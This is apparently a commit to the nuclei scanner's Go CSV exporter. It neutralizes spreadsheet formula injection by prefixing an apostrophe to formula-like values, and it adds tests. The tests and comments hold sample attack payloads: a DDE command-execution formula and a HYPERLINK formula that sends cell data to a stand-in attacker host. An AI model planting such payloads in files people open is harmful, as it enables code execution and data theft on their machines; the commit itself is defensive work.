fix(reporting): neutralize spreadsheet formulas in CSV export

encoding/csv stops a value from breaking out of its cell, but it does not
stop a spreadsheet from evaluating that cell. Widening the schema pulled
response-derived data into the file: extracted-results comes straight from
OutputExtracts, so a target chooses exactly what lands in that column. A
value such as =cmd|'/C calc'!A0 was written verbatim and executed when the
export was opened (CWE-1236).

formatRow now routes every string column through neutralizeFormula, which
prefixes a single apostrophe to values starting with = + - @ TAB or CR.
Values that parse as a number are left alone so cvss-score and port stay
numeric and sortable. Multi-value columns (extracted-results, reference)
are neutralized per element rather than only at the head of the cell,
because consumers split those cells back apart.

The transformation is reversible: the original value is the cell with at
most one leading apostrophe removed.

Tests: TestCSVExporterNeutralizesSpreadsheetFormulas asserts DDE,
HYPERLINK, @ and +/- payloads are neutralized across template-id,
template-name, description, host, matcher-name, curl-command,
extracted-results and reference while safe values and cvss-score are
untouched; TestNeutralizeFormula table-tests the helper, including the
numeric, leading-space and non-ASCII cases.

Signed-off-by: Devam Shah <devamshah91@gmail.com>

Author: DevamShah

pkg/reporting/exporters/csv/csv.go

@@ -105,13 +105,54 @@ func (exporter *Exporter) Export(event *output.ResultEvent) error {
 	return nil
 }
 
+// formulaTriggers are the leading characters that Excel, LibreOffice Calc and
+// Google Sheets treat as the start of a formula. A cell beginning with one of
+// them is evaluated when the file is opened, so a response-derived value such
+// as `=cmd|'/C calc'!A0` captured by an extractor would execute on the machine
+// of whoever opens the export (CWE-1236).
+const formulaTriggers = "=+-@\t\r"
+
+// neutralizeFormula prefixes a single apostrophe to any value a spreadsheet
+// would evaluate as a formula, which forces the cell to be read as text.
+//
+// The transformation is reversible: the original value is the cell with at most
+// one leading apostrophe removed. Values that parse as a plain number are left
+// untouched so numeric columns (cvss-score, port) stay sortable and a negative
+// number is not needlessly quoted.
+func neutralizeFormula(value string) string {
+	if value == "" || !strings.ContainsRune(formulaTriggers, rune(value[0])) {
+		return value
+	}
+	if _, err := strconv.ParseFloat(value, 64); err == nil {
+		return value
+	}
+	return "'" + value
+}
+
+// neutralizeAndJoin newline-joins a multi-value column, neutralizing each
+// element rather than only the resulting cell. Consumers routinely split these
+// cells back into their individual values, so every element has to be safe on
+// its own and not just the first one.
+func neutralizeAndJoin(values []string) string {
+	if len(values) == 0 {
+		return ""
+	}
+	neutralized := make([]string, 0, len(values))
+	for _, value := range values {
+		neutralized = append(neutralized, neutralizeFormula(value))
+	}
+	return strings.Join(neutralized, "\n")
+}
+
 // formatRow flattens a ResultEvent into the ordered set of CSV columns defined
 // by header. Empty values are emitted for fields that are not present on the
 // event (for example, templates without CVE/CVSS classification metadata).
 //
-// Every value is handed to encoding/csv unmodified, so values carrying commas,
-// double quotes or newlines are quoted per RFC 4180 instead of breaking the
-// column layout.
+// Two separate escaping concerns are handled here. Structural injection is
+// handled by encoding/csv, which RFC 4180-quotes any value carrying a comma,
+// double quote or newline so it cannot forge extra columns or rows. Spreadsheet
+// formula evaluation is handled by neutralizeFormula, because the target of
+// this exporter is explicitly a file someone opens in a spreadsheet.
 func formatRow(event *output.ResultEvent) []string {
 	var cve, cwe, cvssMetrics, cvssScore string
 	if event.Info.Classification != nil {
@@ -128,32 +169,32 @@ func formatRow(event *output.ResultEvent) []string {
 	// newline separated inside the (quoted) cell rather than comma separated.
 	var reference string
 	if event.Info.Reference != nil {
-		reference = strings.Join(event.Info.Reference.ToSlice(), "\n")
+		reference = neutralizeAndJoin(event.Info.Reference.ToSlice())
 	}
 
 	return []string{
-		event.TemplateID,
-		event.Info.Name,
-		event.Type,
+		neutralizeFormula(event.TemplateID),
+		neutralizeFormula(event.Info.Name),
+		neutralizeFormula(event.Type),
 		event.Info.SeverityHolder.Severity.String(),
-		event.Host,
-		event.IP,
-		event.Port,
-		event.Matched,
-		event.MatcherName,
-		event.ExtractorName,
+		neutralizeFormula(event.Host),
+		neutralizeFormula(event.IP),
+		neutralizeFormula(event.Port),
+		neutralizeFormula(event.Matched),
+		neutralizeFormula(event.MatcherName),
+		neutralizeFormula(event.ExtractorName),
 		// Extracted results are arbitrary response-derived data and can contain
 		// commas, so they are newline separated inside the (quoted) cell rather
 		// than comma separated. CVE/CWE identifiers cannot contain a comma, so
 		// those keep the ", " form used everywhere else in nuclei.
-		strings.Join(event.ExtractedResults, "\n"),
+		neutralizeAndJoin(event.ExtractedResults),
 		cve,
 		cwe,
-		cvssMetrics,
+		neutralizeFormula(cvssMetrics),
 		cvssScore,
-		event.Info.Description,
+		neutralizeFormula(event.Info.Description),
 		reference,
-		event.CURLCommand,
+		neutralizeFormula(event.CURLCommand),
 		event.Timestamp.UTC().Format(time.RFC3339),
 	}
 }

pkg/reporting/exporters/csv/csv_test.go

@@ -271,3 +271,108 @@ func TestCSVExporterFlushesRowsBeforeClose(t *testing.T) {
 
 	require.NoError(t, exporter.Close())
 }
+
+// TestCSVExporterNeutralizesSpreadsheetFormulas covers the second half of the
+// escaping problem. encoding/csv stops a value from breaking out of its cell,
+// but it does not stop a spreadsheet from evaluating that cell as a formula.
+// ExtractedResults in particular is raw response-derived data, so a target can
+// choose exactly what lands in it.
+func TestCSVExporterNeutralizesSpreadsheetFormulas(t *testing.T) {
+	const (
+		ddePayload       = `=cmd|'/C calc'!A0`
+		hyperlinkPayload = `=HYPERLINK("http://evil.example/log?d="&A1,"click")`
+		atPayload        = `@SUM(1+1)`
+		plusPayload      = `+1+1`
+		tabPayload       = "\t=1+1"
+		crPayload        = "\r=1+1"
+		safeValue        = "http://127.0.0.1:8080/index.html"
+		negativeNumber   = "-1"
+	)
+
+	event := &output.ResultEvent{
+		TemplateID: ddePayload,
+		Type:       "http",
+		Info: model.Info{
+			Name:           atPayload,
+			Description:    plusPayload,
+			Reference:      stringslice.NewRawStringSlice([]string{safeValue, hyperlinkPayload}),
+			SeverityHolder: severity.Holder{Severity: severity.High},
+			Classification: &model.Classification{
+				CVSSScore: 9.8,
+			},
+		},
+		Host:             tabPayload,
+		Matched:          safeValue,
+		MatcherName:      crPayload,
+		ExtractedResults: []string{safeValue, ddePayload, negativeNumber, hyperlinkPayload},
+		CURLCommand:      ddePayload,
+		Timestamp:        time.Date(2025, 6, 1, 0, 0, 0, 0, time.UTC),
+	}
+
+	records := export(t, event)
+	require.Len(t, records, 2)
+	row := records[1]
+	require.Len(t, row, len(header))
+
+	// every formula-triggering cell is prefixed with a single apostrophe, and
+	// the original value is recoverable by removing exactly that apostrophe
+	for _, tc := range []struct {
+		column string
+		want   string
+	}{
+		{"template-id", ddePayload},
+		{"template-name", atPayload},
+		{"description", plusPayload},
+		{"host", tabPayload},
+		{"matcher-name", crPayload},
+		{"curl-command", ddePayload},
+	} {
+		got := row[column(t, tc.column)]
+		require.Equal(t, "'"+tc.want, got, "column %s must be neutralized", tc.column)
+		require.Equal(t, tc.want, strings.TrimPrefix(got, "'"), "column %s must stay recoverable", tc.column)
+	}
+
+	// values that are not formulas are left byte-for-byte alone, so the export
+	// does not become littered with apostrophes
+	require.Equal(t, safeValue, row[column(t, "matched-at")])
+	require.Equal(t, "high", row[column(t, "severity")])
+	// a numeric cell stays numeric and sortable rather than becoming text
+	require.Equal(t, "9.8", row[column(t, "cvss-score")])
+
+	// multi-value cells are neutralized per element, not just at the start of
+	// the cell, because consumers split these cells back apart
+	require.Equal(t,
+		[]string{safeValue, "'" + ddePayload, negativeNumber, "'" + hyperlinkPayload},
+		strings.Split(row[column(t, "extracted-results")], "\n"))
+	require.Equal(t,
+		[]string{safeValue, "'" + hyperlinkPayload},
+		strings.Split(row[column(t, "reference")], "\n"))
+}
+
+func TestNeutralizeFormula(t *testing.T) {
+	for _, tc := range []struct {
+		name  string
+		input string
+		want  string
+	}{
+		{"empty", "", ""},
+		{"plain text", "nuclei", "nuclei"},
+		{"url", "http://example.com/a=b", "http://example.com/a=b"},
+		{"equals", "=1+1", "'=1+1"},
+		{"plus", "+1+1", "'+1+1"},
+		{"at", "@SUM(1)", "'@SUM(1)"},
+		{"tab", "\t=1+1", "'\t=1+1"},
+		{"carriage return", "\r=1+1", "'\r=1+1"},
+		{"negative integer stays numeric", "-1", "-1"},
+		{"negative float stays numeric", "-1.5", "-1.5"},
+		{"positive signed number stays numeric", "+9.8", "+9.8"},
+		{"minus leading text is neutralized", "-cmd|'/C calc'!A0", "'-cmd|'/C calc'!A0"},
+		{"leading space is not a trigger", " =1+1", " =1+1"},
+		{"already neutralized is left alone", "'=1+1", "'=1+1"},
+		{"non-ascii leading rune", "é=1+1", "é=1+1"},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			require.Equal(t, tc.want, neutralizeFormula(tc.input))
+		})
+	}
+}